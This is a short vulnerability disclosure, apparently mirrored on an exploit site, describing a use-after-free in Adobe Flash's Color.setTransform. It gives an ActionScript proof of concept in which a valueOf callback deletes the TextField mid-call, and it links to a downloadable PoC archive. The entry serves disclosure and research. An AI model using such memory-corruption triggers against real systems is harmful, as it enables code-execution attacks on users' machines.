Adobe Flash - Color.setTransform Use-After-Free

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=451
 
If Color.setTransform is set to a transform that deletes the field it is called on, a UaF occurs. A PoC is as follows:
 
var tf:TextField = this.createTextField("tf",1,1,1,4,4)
 
var n = new Object();
 
n.valueOf = function () {
    trace("here");
    tf.removeTextField()
}
 
var o = {ra: n, rb:8};
 
var c = new Color(tf)
c.setTransform(o)
 
 
A sample swf and fla are attached.
 
 
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39652.zip

#  0day.today [2017-12-31]  #